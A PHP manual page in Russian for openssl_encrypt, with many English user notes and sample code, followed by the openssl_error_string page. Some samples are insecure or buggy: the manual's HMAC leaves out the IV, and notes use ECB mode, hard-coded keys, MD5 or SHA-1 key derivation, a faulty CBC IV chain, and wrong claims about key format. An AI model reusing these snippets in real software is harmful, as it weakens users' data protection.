Ошибки

Выдаёт ошибку уровня E_WARNING, если в параметр cipher_algo передан неизвестный алгоритм шифрования.

Выдаёт ошибку уровня E_WARNING, если в параметр iv передано пустое значение.

Список изменений

Версия | Описание
7.1.0 | Добавлены параметры tag, aad и tag_length.

Примеры

Пример #1 Пример шифрования AES с аутентификацией в режиме GCM в PHP 7.1+

<?php
// $key должен быть сгенерирован заранее криптографически безопасным образом
// например, с помощью openssl_random_pseudo_bytes
$plaintext = "данные для шифрования";
$cipher = "aes-128-gcm";
if (in_array($cipher, openssl_get_cipher_methods()))
{
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext = openssl_encrypt($plaintext, $cipher, $key, $options=0, $iv, $tag);
// сохраняем $cipher, $iv и $tag для дальнейшей расшифровки
$original_plaintext = openssl_decrypt($ciphertext, $cipher, $key, $options=0, $iv, $tag);
echo $original_plaintext."\n";
}
?>

Пример #2 Пример шифрования AES с аутентификацией до PHP 7.1

<?php
// $key должен быть сгенерирован заранее криптографически безопасным образом
// например, с помощью openssl_random_pseudo_bytes
$plaintext = "данные для шифрования";
$ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
$hmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
$ciphertext = base64_encode( $iv.$hmac.$ciphertext_raw );

// расшифровка....
$c = base64_decode($ciphertext);
$ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
$iv = substr($c, 0, $ivlen);
$hmac = substr($c, $ivlen, $sha2len=32);
$ciphertext_raw = substr($c, $ivlen+$sha2len);
$original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
$calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
if (hash_equals($hmac, $calcmac))// сравнение, не подверженное атаке по времени
{
echo $original_plaintext."\n";
}
?>

Смотрите также

  • openssl_decrypt() - Расшифровывает данные

User Contributed Notes

ralf at exphpert dot de 30-Mar-2022 01:37
I'd like to point out that the command description doesn't very well point out, how the command really works for the less experienced user.

One important point is, that you do NOT pass a tag to openssl_encrypt. Any value in the tag variable will be overwritten by openssl_encrypt. It by itself will create a tag which you will need to store.

To be able to decrypt the encrypted secret with openssl_decrypt, you need to provide (at least) the secret, the cipher, the initialization vector, and the tag.
desmatic at gmail dot com 30-Oct-2021 12:39
Upgraded php and needed something to replace insecure legacy mcrypt libs, but still supported classic user, password interface.

<?php
function encrypt($plaintext, $key, $cipher = "aes-256-gcm") {
    if (!in_array($cipher, openssl_get_cipher_methods())) {
        return false;
    }
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
    $tag = null;
    $ciphertext = openssl_encrypt(
        gzcompress($plaintext),
        $cipher,
        base64_decode($key),
        $options=0,
        $iv,
        $tag,
    );
    return json_encode(
        array(
            "ciphertext" => base64_encode($ciphertext),
            "cipher" => $cipher,
            "iv" => base64_encode($iv),
            "tag" => base64_encode($tag),
        )
    );
}

function decrypt($cipherjson, $key) {
    try {
        $json = json_decode($cipherjson, true, 2,  JSON_THROW_ON_ERROR);
    } catch (Exception $e) {
        return false;
    }
    return gzuncompress(
        openssl_decrypt(
            base64_decode($json['ciphertext']),
            $json['cipher'],
            base64_decode($key),
            $options=0,
            base64_decode($json['iv']),
            base64_decode($json['tag'])
        )
    );
}

$secret = "MySecRet@123";
$cipherjson = encrypt("Hello world!\n", $secret);
echo decrypt($cipherjson, $secret);

?>
TheNorthMemory 31-Jul-2021 07:52
I saw that a doc bug(#80236) were there mentioned that $tag usage. Here is an examples, Hopes those may help someone.

<?php

/**
* Encrypts given data with given key, iv and aad, returns a base64 encoded string.
*
* @param string $plaintext - Text to encode.
* @param string $key - The secret key, 32 bytes string.
* @param string $iv - The initialization vector, 16 bytes string.
* @param string $aad - The additional authenticated data, maybe empty string.
*
* @return string - The base64-encoded ciphertext.
*/
function encrypt(string $plaintext, string $key, string $iv = '', string $aad = ''): string
{
    $ciphertext = openssl_encrypt($plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $tag, $aad, 16);

    if (false === $ciphertext) {
        throw new UnexpectedValueException('Encrypting the input $plaintext failed, please checking your $key and $iv whether or nor correct.');
    }

    return base64_encode($ciphertext . $tag);
}

/**
* Takes a base64 encoded string and decrypts it using a given key, iv and aad.
*
* @param string $ciphertext - The base64-encoded ciphertext.
* @param string $key - The secret key, 32 bytes string.
* @param string $iv - The initialization vector, 16 bytes string.
* @param string $aad - The additional authenticated data, maybe empty string.
*
* @return string - The utf-8 plaintext.
*/
function decrypt(string $ciphertext, string $key, string $iv = '', string $aad = ''): string
{
    $ciphertext = base64_decode($ciphertext);
    $authTag = substr($ciphertext, -16);
    $tagLength = strlen($authTag);

    /* Manually checking the length of the tag, because the `openssl_decrypt` was mentioned there, it's the caller's responsibility. */
    if ($tagLength > 16 || ($tagLength < 12 && $tagLength !== 8 && $tagLength !== 4)) {
        throw new RuntimeException('The inputs `$ciphertext` incomplete, the bytes length must be one of 16, 15, 14, 13, 12, 8 or 4.');
    }

    $plaintext = openssl_decrypt(substr($ciphertext, 0, -16), 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad);

    if (false === $plaintext) {
        throw new UnexpectedValueException('Decrypting the input $ciphertext failed, please checking your $key and $iv whether or nor correct.');
    }

    return $plaintext;
}

// usage samples
$aesKey = random_bytes(32);
$aesIv = random_bytes(16);
$ciphertext = encrypt('thing', $aesKey, $aesIv);
$plaintext = decrypt($ciphertext, $aesKey, $aesIv);

var_dump($ciphertext);
var_dump($plaintext);
Shin 22-Jul-2021 10:02
Concise description about "options" parameter!

http://phpcoderweb.com/manual/function-openssl-encrypt_5698.html

> OPENSSL_ZERO_PADDING has a direct impact on the OpenSSL context.  EVP_CIPHER_CTX_set_padding() enables or disables padding (enabled by default).  So, OPENSSL_ZERO_PADDING disables padding for the context, which means that you will have to manually apply your own padding out to the block size.  Without using OPENSSL_ZERO_PADDING, you will automatically get PKCS#7 padding.

> OPENSSL_RAW_DATA does not affect the OpenSSL context but has an impact on the format of the data returned to the caller.  When OPENSSL_RAW_DATA is specified, the returned data is returned as-is.  When it is not specified, Base64 encoded data is returned to the caller.

Where
- OPENSSL_RAW_DATA=1
- OPENSSL_ZERO_PADDING=2

Hence
options = 0
-> PKCS#7 padding, Base64 Encode
options = 1
-> PKCS#7 padding, No Base64 Encode (RAW DATA)
options = 2
-> No padding, Base64 Encode
options = 3  ( 1 OR 2 )
-> No padding, No Base64 Encode (RAW DATA)
handsomedmm at 126 dot com 29-Sep-2019 09:15
if encrypt data by openssl enc command with pass and salt, it can aslo decrypt by openssl_decrypt.

eg.

encrypt command:

# echo -n test123 | openssl enc -aes-128-cbc -pass pass:"pass123" -a -md md5

decrypt command:
# echo -n U2FsdGVkX19349P4LpeP5Sbi4lpCx6lLwFQ2t9xs2AQ= | base64 -d| openssl  enc -aes-128-cbc -pass pass:"pass123" -md md5 -d -p
salt=77E3D3F82E978FE5
key=9CA70521F78B9909BF73BAE9233D6258
iv =04BCCB509EC9E6F5AF7E822CA58EA557
test123

use php code
<?php
        // encode data
        $encodeData = "U2FsdGVkX19349P4LpeP5Sbi4lpCx6lLwFQ2t9xs2AQ=";

        // base64 decode
        $data = base64_decode($encodeData);
        $data = substr($data, 16); // if salted , remove Salted__ prefix

        // salt and pass config
        $salt   = hex2bin("77E3D3F82E978FE5");
        $pass   = "pass123";
        $method = "AES-128-CBC";

        // generate iv and key
        $hash1 = md5($pass . $salt);
        $hash2 = md5(hex2bin($hash1) . $pass . $salt);
        $key   = hex2bin($hash1);
        $iv    = hex2bin($hash2);

        $decodeData = openssl_decrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);

        var_dump($decodeData);
gcleaves at gmail dot com 29-Sep-2019 07:07
Please note that at the time of writing this, there is an important and naive security vulnerability in "Example #2 AES Authenticated Encryption example for PHP 5.6+".

You MUST include the IV when calculating the HMAC. Otherwise, somebody could alter the IV during transport, thereby changing the decrypted message while maintaining HMAC integrity. An absolute disaster.

To fix the example, the HMAC should be calculated like this:

<?php
$hmac = hash_hmac('sha256', $iv.$ciphertext_raw, $key, $as_binary=true);
?>
waltzie 06-Feb-2019 09:53
There are some troubles implementing a 1:1 encryprion/decription between mcrypt and openssl using MCRYPT_RIJNDAEL_128 CBC because the AES-256 is different from RIJNDAEL-256.
The 256 in AES refers to the key size, where the 256 in RIJNDAEL refers to block size.
 AES-256 is RIJNDAEL-128 when used with a 256 bit key
(https://stackoverflow.com/questions/6770370/aes-256-encryption-in-php  ircmaxell Jun 22 '13 at 11:50)

Example

<?php

function encrypt_openssl($msg, $key, $iv) {
        $encryptedMessage = openssl_encrypt($msg, 'AES-256-CBC', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING  , $iv);
        return $iv . $encryptedMessage;
}

function decrypt_openssl($data, $key) {
        $iv_size = openssl_cipher_iv_length('AES-256-CBC');
        $iv = substr($data, 0, $iv_size);
        $data = substr($data, $iv_size);
        return openssl_decrypt($data, 'AES-256-CBC', $key,OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING  , $iv);

}

function decrypt_data($data,$key) {
        $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
        $iv = substr($data, 0, $iv_size);
        $data = substr($data, $iv_size);
        $decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
        $decrypted = rtrim($decrypted, chr(0));
        return($decrypted);
}

function encrypt_data($data,$key,$iv) {
        $encrypted = $iv .  mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $encrypted;
}

// ZERO Padding ISO/IEC 9797-1, ISO/IEC 10118-1
function pad_zero($data) {
        $len = mcrypt_get_block_size (MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC);
        if (strlen($data) % $len) {
              $padLength =  $len - strlen($data) %  $len;
              $data .= str_repeat("\0", $padLength);
        }
        return $data;
}

$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$data = "Hello World!";
$key = hash('sha256',"secret",true);

echo "\n\n$data\n\n";

$enc = base64_encode(encrypt_data($data,$key,$iv));
echo "\nEnc: $enc";
$dec = decrypt_data(base64_decode($enc),$key);
echo "\nDec: $dec";
$dec2=decrypt_openssl(base64_decode($enc),$key);
echo "\nDec: $dec2";

echo "\n\nreverse\n";

$enc2 = base64_encode(encrypt_openssl(pad_zero($data),$key,$iv));
echo "\nEnc: $enc2";
$dec = decrypt_data(base64_decode($enc2),$key);
echo "\nDec: $dec";
$dec2=decrypt_openssl(base64_decode($enc2),$key);
echo "\nDec: $dec2";
Jess Portnoy 13-Mar-2018 11:40
Note that OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING were introduced by this commit:
https://github.com/php/php-src/commit/9e7ae3b2d0e942b816e3836025456544d6288ac3

Before that, the options arg was called raw_output and was a Boolean so if you're considering this method as a replacement for mcrypt_encrypt(), this will only work with PHP 5.5 and above.

A good guide on replacing Mcrypt encryption/decryption methods with the OpenSSL parallels can be found here:
http://thefsb.tumblr.com/post/110749271235/using-opensslendecrypt-in-php-instead-of
omidbahrami1990 at gmail dot com 05-Dec-2017 11:35
This Is The Most Secure Way To Encrypt And Decrypt Your Data,
It Is Almost Impossible To Crack Your Encryption.
--------------------------------------------------------
 --- Create Two Random Keys And Save Them In Your Configuration File ---
<?php
// Create The First Key
echo base64_encode(openssl_random_pseudo_bytes(32));

// Create The Second Key
echo base64_encode(openssl_random_pseudo_bytes(64));
?>
--------------------------------------------------------
<?php
// Save The Keys In Your Configuration File
define('FIRSTKEY','Lk5Uz3slx3BrAghS1aaW5AYgWZRV0tIX5eI0yPchFz4=');
define('SECONDKEY','EZ44mFi3TlAey1b2w4Y7lVDuqO+SRxGXsa7nctnr/JmMrA2vN6EJhrvdVZbxaQs5jpSe34X3ejFK/o9+Y5c83w==');
?>
--------------------------------------------------------
<?php
function secured_encrypt($data)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);

$method = "aes-256-cbc";
$iv_length = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_length);

$first_encrypted = openssl_encrypt($data,$method,$first_key, OPENSSL_RAW_DATA ,$iv);
$second_encrypted = hash_hmac('sha3-512', $first_encrypted, $second_key, TRUE);

$output = base64_encode($iv.$second_encrypted.$first_encrypted);
return $output;
}
?>
--------------------------------------------------------
<?php
function secured_decrypt($input)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);
$mix = base64_decode($input);

$method = "aes-256-cbc";
$iv_length = openssl_cipher_iv_length($method);

$iv = substr($mix,0,$iv_length);
$second_encrypted = substr($mix,$iv_length,64);
$first_encrypted = substr($mix,$iv_length+64);

$data = openssl_decrypt($first_encrypted,$method,$first_key,OPENSSL_RAW_DATA,$iv);
$second_encrypted_new = hash_hmac('sha3-512', $first_encrypted, $second_key, TRUE);

if (hash_equals($second_encrypted,$second_encrypted_new))
return $data;

return false;
}
?>
me at bobste dot in 10-Nov-2017 07:21
<?php
string openssl_encrypt (
    string $data ,
    string $method ,
    string $key,
    int $options = 0,      // optional
    string $iv = "",       // optional
    string &$tag = NULL,   // optional
    string $aad = "",      // optional
    int $tag_length = 16   // optional
)
// (a kinder, gentler function header)
?>
Jean-Luc 02-Nov-2017 09:26
Important: The key should have exactly the same length as the cipher you are using. For example, if you use AES-256 then you should provide a $key that is 32 bytes long (256 bits == 32 bytes). Any additional bytes in $key will be truncated and not used at all.
denis at bitrix dot ru 21-Aug-2017 06:43
How to migrate from mcrypt to openssl with backward compatibility.

In my case I used Blowfish in ECB mode. The task was to decrypt data with openssl_decrypt, encrypted by mcrypt_encrypt and vice versa. It was obvious for a first sight. But in fact openssl_encrypt and mcrypt_encript give different results in most cases.

Investigating the web I found out that the reason is in different padding methods. And for some reasons openssl_encrypt behave the same strange way with OPENSSL_ZERO_PADDING and OPENSSL_NO_PADDING options: it returns FALSE if encrypted string doesn't divide to the block size. To solve the problem you have to pad your string with NULs by yourself.

The second question was the key length. Both functions give the same result if the key length is between 16 and 56 bytes. And I managed to find that if your key is shorter than 16 bytes, you just have to repeat it appropriate number of times.

And finally the code follows which works the same way on openssl and mcrypt libraries.

<?php
    function encrypt($data, $key)
    {
        $l = strlen($key);
        if ($l < 16)
            $key = str_repeat($key, ceil(16/$l));

        if ($m = strlen($data)%8)
            $data .= str_repeat("\x00",  8 - $m);
        if (function_exists('mcrypt_encrypt'))
            $val = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_ECB);
        else
            $val = openssl_encrypt($data, 'BF-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING);

        return $val;
    }

    function decrypt($data, $key)
    {
        $l = strlen($key);
        if ($l < 16)
            $key = str_repeat($key, ceil(16/$l));

        if (function_exists('mcrypt_encrypt'))
            $val = mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_ECB);
        else
            $val = openssl_decrypt($data, 'BF-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING);
        return $val;
    }

$data = 'my secret message';
$key = 'dontsay';

$c = encrypt($data, $key);
$d = decrypt($c, $key);
var_dump($c);
var_dump($d);
?>
Gives:

string(32) "SWBMedXJIxuA9FcMOqCqomk0E5nFq6wv"
string(24) "my secret message\000\000\000\000\000\000\000"
darek334 at gazeta dot pl 23-Mar-2017 12:07
To check if cipher uses IV use openssl_cipher_iv_length it returns length if exist, 0 if not, false if cipher is unknown.
naitsirch at e dot mail dot de 10-Nov-2016 11:52
PHP lacks a build-in function to encrypt and decrypt large files. `openssl_encrypt()` can be used to encrypt strings, but loading a huge file into memory is a bad idea.

So we have to write a userland function doing that. This example uses the symmetric AES-128-CBC algorithm to encrypt smaller chunks of a large file and writes them into another file.

# Encrypt Files

<?php
/**
 * Define the number of blocks that should be read from the source file for each chunk.
 * For 'AES-128-CBC' each block consist of 16 bytes.
 * So if we read 10,000 blocks we load 160kb into memory. You may adjust this value
 * to read/write shorter or longer chunks.
 */
define('FILE_ENCRYPTION_BLOCKS', 10000);

/**
 * Encrypt the passed file and saves the result in a new file with ".enc" as suffix.
 *
 * @param string $source Path to file that should be encrypted
 * @param string $key    The key used for the encryption
 * @param string $dest   File name where the encryped file should be written to.
 * @return string|false  Returns the file name that has been created or FALSE if an error occured
 */
function encryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);
    $iv = openssl_random_pseudo_bytes(16);

    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        // Put the initialzation vector to the beginning of the file
        fwrite($fpOut, $iv);
        if ($fpIn = fopen($source, 'rb')) {
            while (!feof($fpIn)) {
                $plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
                $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
                // Use the first 16 bytes of the ciphertext as the next initialization vector
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $ciphertext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }

    return $error ? false : $dest;
}
?>

# Decrypt Files

To decrypt files that have been encrypted with the above function you can use this function.

<?php
/**
 * Dencrypt the passed file and saves the result in a new file, removing the
 * last 4 characters from file name.
 *
 * @param string $source Path to file that should be decrypted
 * @param string $key    The key used for the decryption (must be the same as for encryption)
 * @param string $dest   File name where the decryped file should be written to.
 * @return string|false  Returns the file name that has been created or FALSE if an error occured
 */
function decryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);

    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        if ($fpIn = fopen($source, 'rb')) {
            // Get the initialzation vector from the beginning of the file
            $iv = fread($fpIn, 16);
            while (!feof($fpIn)) {
                // we have to read one block more for decrypting than for encrypting
                $ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1));
                $plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
                // Use the first 16 bytes of the ciphertext as the next initialization vector
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $plaintext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }

    return $error ? false : $dest;
}
?>

Source: http://stackoverflow.com/documentation/php/5794/cryptography/25499/
Kruthers 04-Oct-2016 07:37
There still seems to be some confusion about the "password" argument to this function.  It accepts a binary string for the key (ie. NOT encoded), at least for the cipher methods I tried (AES-128-CTR and AES-256-CTR).  One of the posts says you should hex encode the key (which is wrong), and some say you should hash the key but don't make it clear how to properly pass the hashed key.

Instead of the post made by anonymous, this should be more accurate info about the parameters:

data - BINARY string
method - regular string, from openssl_get_cipher_methods()
password - BINARY string (ie. the encryption key in binary)
options - integer (use the constants provided)
iv - BINARY string

This is not only from my testing, but backed up by the usage of this function by https://github.com/defuse/php-encryption
Nick 17-May-2016 09:09
There's a lot of confusion plus some false guidance here on the openssl library.

The basic tips are:

aes-256-ctr is arguably the best choice for cipher algorithm as of 2016. This avoids potential security issues (so-called padding oracle attacks) and bloat from algorithms that pad data to a certain block size. aes-256-gcm is preferable, but not usable until the openssl library is enhanced, which is due in PHP 7.1

Use different random data for the initialisation vector each time encryption is made with the same key. mcrypt_create_iv() is one choice for random data. AES uses 16 byte blocks, so you need 16 bytes for the iv.

Join the iv data to the encrypted result and extract the iv data again when decrypting.

Pass OPENSSL_RAW_DATA for the flags and encode the result if necessary after adding in the iv data.

Hash the chosen encryption key (the password parameter) using openssl_digest() with a hash function such as sha256, and use the hashed value for the password parameter.

There's a simple Cryptor class on GitHub called php-openssl-cryptor that demonstrates encryption/decryption and hashing with openssl, along with how to produce and consume the data in base64 and hex as well as binary. It should lay the foundations for better understanding and making effective use of openssl with PHP.

Hopefully it will help anyone looking to get started with this powerful library.
Geoff 12-Feb-2016 10:21
Contrary to some of the other comments here, I'm not certain that Password is indeed being improperly treated as the direct key.  I say this because I've been passing random text values into this parameter which would be invalid as hex input.  It seems to be hashing the password I provide, using what algorithm I do not know, because otherwise I'd expect it to throw an exception instead of working as expected.

That said, I'm using openssl_decrypt() to decrypt data that was only encrypted with openssl_encrypt().  I've not had to try to decrypt data where I do know for certain what the direct key is to know if I have an issue with bad pad blocks or any other exceptions which would indicate a key mismatch.
David 17-Nov-2015 09:07
Note, that if you don't specify the ...RAW_DATA  option, then you get a base64 encoded result.  I lost a few hours because my PHP didn't have the OPENSSL_RAW_DATA constant, and after I'd carefully base64 encoded the result, it just wasn't decoding...
Raphael 18-Jun-2015 07:55
Beware of the padding this method adds !

<?php
$encryption_key = openssl_random_pseudo_bytes(32);
$iv = openssl_random_pseudo_bytes(16);
$data = openssl_random_pseudo_bytes(32);

for ($i = 0; $i < 5; $i++) {
 $data = openssl_encrypt($data, 'aes-256-cbc', $encryption_key, OPENSSL_RAW_DATA, $iv);
 echo strlen($data) . "\n";
}
?>

With this sample the output will be:
48
64
80
96
112

This is because our $data is already taking all the block size, so the method is adding a new block which will contain only padded bytes.

The only solution that come to my mind to avoid this situation is to add the option OPENSSL_ZERO_PADDING along with the first one:
<?php
$data = openssl_encrypt($data, 'aes-256-cbc', $encryption_key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv);
?>

/!\ Be careful when using this option, be sure that you provide data that have already been padded or that takes already all the block size.
openssl at mailismagic dot com 02-May-2015 02:11
Since the $options are not documented, I'm going to clarify what they mean here in the comments.  Behind the scenes, in the source code for /ext/openssl/openssl.c:

    EVP_EncryptInit_ex(&cipher_ctx, NULL, NULL, key, (unsigned char *)iv);
    if (options & OPENSSL_ZERO_PADDING) {
        EVP_CIPHER_CTX_set_padding(&cipher_ctx, 0);
    }

And later:

        if (options & OPENSSL_RAW_DATA) {
            outbuf[outlen] = '\0';
            RETVAL_STRINGL((char *)outbuf, outlen, 0);
        } else {
            int base64_str_len;
            char *base64_str;

            base64_str = (char*)php_base64_encode(outbuf, outlen, &base64_str_len);
            efree(outbuf);
            RETVAL_STRINGL(base64_str, base64_str_len, 0);
        }

So as we can see here, OPENSSL_ZERO_PADDING has a direct impact on the OpenSSL context.  EVP_CIPHER_CTX_set_padding() enables or disables padding (enabled by default).  So, OPENSSL_ZERO_PADDING disables padding for the context, which means that you will have to manually apply your own padding out to the block size.  Without using OPENSSL_ZERO_PADDING, you will automatically get PKCS#7 padding.

OPENSSL_RAW_DATA does not affect the OpenSSL context but has an impact on the format of the data returned to the caller.  When OPENSSL_RAW_DATA is specified, the returned data is returned as-is.  When it is not specified, Base64 encoded data is returned to the caller.

Hope this saves someone a trip to the PHP source code to figure out what the $options do.  Pro developer tip:  Download and have a copy of the PHP source code locally so that, when the PHP documentation fails to live up to quality expectations, you can see what is actually happening behind the scenes.
Anonymous 28-Feb-2015 02:14
Just a couple of notes about the parameters:

data - It is interpreted as a binary string
method - Regular string, make sure you check openssl_get_cipher_methods() for a list of the ciphers available in your server*
password - As biohazard mentioned before, this is actually THE KEY! It should be in hex format.
options - As explained in the Parameters section
iv - Initialization Vector. Different than biohazard mentioned before, this should be a BINARY string. You should check for your particular implementation.

To verify the length/format of your IV, you can provide strings of different lengths and check the error log. For example, in PHP 5.5.9 (Ubuntu 14.04 LTS), providing a 32 byte hex string (which would represent a 16 byte binary IV) throws an error.
"IV passed is 32 bytes long which is longer than the 16 expected by the selected cipher" (cipher chosen was 'aes-256-cbc' which uses an IV of 128 bits, its block size).
Alternatively, you can use openssl_cipher_iv_length().

From the security standpoint, make sure you understand whether your IV needs to be random, secret or encrypted. Many times the IV can be non-secret but it has to be a cryptographically secure random number. Make sure you generate it with an appropriate function like openssl_random_pseudo_bytes(), not mt_rand().

*Note that the available cipher methods can differ between your dev server and your production server! They will depend on the installation and compilation options used for OpenSSL in your machine(s).
max 01-Aug-2012 02:35
Might be useful to people trying to use 'aes-256-cbc' cipher (and probably other cbc ciphers) in collaboration with other implementations of AES (C libs for example) that the openssl extension has a strict implementation regarding padding bytes. I found the solution only by manually going through the openssl source.

In C, you would want to pad plaintexts the following way (assuming all mem allocations are proper):

nPadding = ( 16 - ( bufferSize % 16 ) ) ? ( 16 - ( bufferSize % 16 ) ) : 16;
for( index = bufferSize; index < bufferSize + nPadding; index++ )
{
    plaintext[ index ] = (char)nPadding;
}

while decryptions are validated like:

isSuccess = TRUE;
for( index = bufferSize - 1; index > ( bufferSize - nPadding ); index-- )
{
    if( plaintext[ index ] != nPadding )
    {
        isSuccess = FALSE;
        break;
    }
}
decryptedSize = bufferSize - nPadding;

In plain english, the buffer must be padded up to blockSize. If the buffer is already a multiple of blockSize, you add an entire new blockSize bytes as padding.

The value of the padding bytes MUST be the number of padding bytes as a byte...

So 5 bytes of padding will result in the following bytes added at the end of the ciphertext:
[ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ]

Hope this saves someone else a few hours of their life.
kazaaknet at yahoo dot com 10-Jul-2012 05:23
Be advised there was a memory leak in this function: https://bugs.php.net/bug.php?id=54060.  I believe this got fixed in 5.3.6, but on production webservers running 5.3.5 with modest traffic, this became  a memory hemorrhage that brought my site down.  Look at mcrypt_encrypt instead.
Kukulkan 21-May-2012 03:39
PHP OpenSSL functions openssl_encrypt() and openssl_decrypt() seem to use PKCS5/7 style padding for all symmetric ciphers. Upon this, you can't use them to encrypt using null byte padding or to decrypt null byte padded data.

The developers of the wrapper forgot the padding scheme flags... :(
biohazard dot ge at gmail dot com 15-Jun-2011 06:48
Many users give up with handilng problem when openssl command line tool cant decrypt php openssl encrypted file which is encrypted with openssl_encrypt function.

For example how beginner is encrypting data:

<?php

$string = 'It works ? Or not it works ?';
$pass = '1234';
$method = 'aes128';

file_put_contents ('./file.encrypted', openssl_encrypt ($string, $method, $pass));

?>

And then how beginner is trying to decrypt data from command line:

# openssl enc -aes-128-cbc -d -in file.encrypted -pass pass:123

Or even if he/she determinates that openssl_encrypt output was base64 and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123

Or even if he determinates that base64 encoded file is represented in one line and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -A -pass pass:123

Or even if he determinates that IV is needed and adds some string iv as encryption function`s fourth parameter and than adds hex representation of iv as parameter in openssl command line :

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123 -iv -iv 31323334353637383132333435363738

Or even if he determinates that aes-128 password must be 128 bits there fore 16 bytes and sets $pass = '1234567812345678' and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:1234567812345678 -iv -iv 31323334353637383132333435363738

All these troubles will have no result in any case.

BECAUSE THE PASSWORD PARAMETER DOCUMENTED HERE IS NOT THE PASSWORD.

It means that the password parameter of the function is not the same string used as [-pass pass:] parameter with openssl cmd tool for file encryption decryption.

IT IS THE KEY !

And now how to correctly encrypt data with php openssl_encrypt and how to correctly decrypt it from openssl command line tool.

<?php

    function strtohex($x)
    {
        $s='';
        foreach (str_split($x) as $c) $s.=sprintf("%02X",ord($c));
        return($s);
    }

    $source = 'It works !';

    $iv = "1234567812345678";
    $pass = '1234567812345678';
    $method = 'aes-128-cbc';

    echo "\niv in hex to use: ".strtohex ($iv);
    echo "\nkey in hex to use: ".strtohex ($pass);
    echo "\n";

    file_put_contents ('./file.encrypted',openssl_encrypt ($source, $method, $pass, true, $iv));

    $exec = "openssl enc -".$method." -d -in file.encrypted -nosalt -nopad -K ".strtohex($pass)." -iv ".strtohex($iv);

    echo 'executing: '.$exec."\n\n";
    echo exec ($exec);
    echo "\n";

?>

IV and Key parameteres passed to openssl command line must be in hex representation of string.

The correct command for decrypting is:

# openssl enc -aes-128-cbc -d -in file.encrypted -nosalt -nopad -K 31323334353637383132333435363738 -iv 31323334353637383132333435363738

As it has no salt has no padding and by setting functions third parameter we have no more base64 encoded file to decode. The command will echo that it works...

: /
public at grik dot net 25-Dec-2009 09:54
The list of methods for this function can be obtained with openssl_get_cipher_methods();
The password can be encrypted with the openssl_private/public_encrypt()


Возвращает сообщение об ошибке openSSL

  • « openssl_encrypt
  • openssl_free_key »
  • PHP Manual
  • Функции OpenSSL
  • Возвращает сообщение об ошибке openSSL

openssl_error_string

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_error_string — Возвращает сообщение об ошибке openSSL

Описание

openssl_error_string(): string|false

openssl_error_string() возвращает сообщение последней произошедшей ошибки библиотеки openSSL. Сообщения об ошибках находятся в очереди, так что эту функцию можно вызывать несколько раз для получения всей информации. При этом последнее сообщение самое свежее.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с сообщением об ошибке или false, если сообщений больше нет.

Примеры

Пример #1 Пример использования openssl_error_string()

<?php
// Предположим, что вы вызвали функцию openssl, которая завершилась неудачей
while ($msg = openssl_error_string())
echo $msg . "<br />\n";
?>

User Contributed Notes

Joey 12-Sep-2016 03:33
You need to do something like this to clear it:

while(openssl_error_string() !== false);

Some openssl functions will add errors to the list even if they succeed.
Richard Lynch 15-Jul-2013 07:34
Note that there may be two (or more) lines for one error.

Best to clear it out and read it for each openssl call.

PS
There are no "threads" and if the other library doesn't have enough sense to read (and therefore clear) the queue (errr, dequeue) of messages before and after their openssl calls...
